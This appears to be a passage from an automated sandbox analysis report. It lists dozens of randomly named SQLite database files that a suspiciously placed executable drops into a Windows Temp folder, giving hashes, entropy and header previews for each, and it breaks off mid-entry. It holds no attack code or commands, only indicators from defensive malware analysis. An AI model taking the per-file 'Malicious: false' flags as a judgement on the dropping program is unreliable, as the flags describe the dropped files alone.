C:\Users\user\AppData\Local\Temp\t8rIQkSjry

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tUbhwfd2Pt

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tnwPHSK488

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tqZWX1bHsE

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\truWgncYZB

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tysK5FiFH0

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u77jDidZaN

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\v9zhFtn1wa

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vGV35MY1Le

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vWbgVJIW9B

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vhxuZGALNX

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vk5EzWr09D

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w1wjcatJG5

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w5Wcz1Cs3b

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wDY5WsXs8k

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wF7RMukYNw

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wLS3z9X3Dh

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wuZtMvlDnY

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x9t9os51Wn

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xL8FX5rK5g

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xRqIzL2Kwg

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xpsTjH2AVL

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\y2aqWlMrzU

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yPwg7TTFO5

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yRPFxQO7bb

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yljkvdIiwB

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
